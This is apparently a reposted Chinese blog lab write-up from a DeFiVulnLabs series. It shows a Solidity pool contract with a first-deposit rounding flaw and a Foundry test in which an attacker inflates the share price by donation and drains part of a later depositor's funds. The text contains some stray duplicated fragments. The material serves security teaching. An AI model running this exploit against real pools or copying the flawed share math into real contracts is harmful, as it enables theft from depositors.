//ERC20 TOKEN mint一些代币
contract MyToken is ERC20, Ownable {
constructor() ERC20("MyToken", "MTK") {
_mint(msg.sender, 10000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
//一个简单的流动池合约
contract SimplePool {
IERC20 public loanToken;
uint public totalShares;
mapping(address => uint) public balanceOf;
//实例化loanToken
constructor(address _loanToken) {
loanToken = IERC20(_loanToken);
}
//存款转入loanToken
function deposit(uint amount) external {
require(amount > 0, "Amount must be greater than zero");
uint _shares;
//如果流动池里的数量是0,就是首次流动存入流动池
if (totalShares == 0) {
_shares = amount;
} else {
//
_shares = tokenToShares(
amount,
loanToken.balanceOf(address(this)),
totalShares,
false
);
}
//
require(转账
loanToken.transferFrom(msg.sender, address(this), amount),
"TransferFrom failed"
);
balanceOf[msg.sender] += _shares;
totalShares += _shares;
}
//代币数量转换为份额数量 这是一个内部方法
function tokenToShares(
uint _tokenAmount, //token数量
uint _supplied, //token供应量
uint _sharesTotalSupply, //总的份额数量
bool roundUpCheck
) internal pure returns (uint) {
//
if (_supplied == 0) return _tokenAmount;
uint shares = (_tokenAmount * _sharesTotalSupply) / _supplied;
//
if (
roundUpCheck &&
shares * _supplied < _tokenAmount * _sharesTotalSupply
) shares++;
return shares;
}
function withdraw(uint shares) external {
//提现校验
require(shares > 0, "Shares must be greater than zero");
require(balanceOf[msg.sender] >= shares, "Insufficient balance");
uint tokenAmount = (shares * loanToken.balanceOf(address(this))) /
totalShares;
balanceOf[msg.sender] -= shares;
totalShares -= shares;
require(loanToken.transfer(msg.sender, tokenAmount), "Transfer failed");
}
}
//如果流动池里的数量是0,就是首次流动存入流动池
if (totalShares == 0) {
_shares = amount;
} else {
//
_shares = tokenToShares(
amount,
loanToken.balanceOf(address(this)),
totalShares,
false
);
}
C:UsersiceDesktopweb3-functionweb3safeDeFiVulnLabs>C:UsersicecaiDesktopweb3-functionweb3safefoundry_nightly_win32_amd64forge.exe test --contracts ./src/test/first-deposit.sol -vvvv
function testFirstDeposit() public {
address alice = vm.addr(1);
address bob = vm.addr(2);
MyTokenContract.transfer(alice, 1 ether + 1);
MyTokenContract.transfer(bob, 2 ether);
vm.startPrank(alice);
// Alice deposits 1 wei, gets 1 pool token
MyTokenContract.approve(address(SimplePoolContract), 1);
SimplePoolContract.deposit(1);
// Alice transfers 1 ether to the pool, inflating the pool token price
MyTokenContract.transfer(address(SimplePoolContract), 1 ether);
vm.stopPrank();
vm.startPrank(bob);
// Bob deposits 2 ether, gets 1 pool token due to inflated price
// uint shares = _tokenAmount * _sharesTotalSupply / _supplied;
// shares = 2000000000000000000 * 1 / 1000000000000000001 = 1.9999999999999999999 => round down to 1.
MyTokenContract.approve(address(SimplePoolContract), 2 ether);
SimplePoolContract.deposit(2 ether);
vm.stopPrank();
vm.startPrank(alice);
MyTokenContract.balanceOf(address(SimplePoolContract));
// Alice withdraws and gets 1.5 ether, making a profit
SimplePoolContract.withdraw(1);
assertEq(MyTokenContract.balanceOf(alice), 1.5 ether);
console.log("Alice balance", MyTokenContract.balanceOf(alice));
}
receive() external payable {}
}
原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论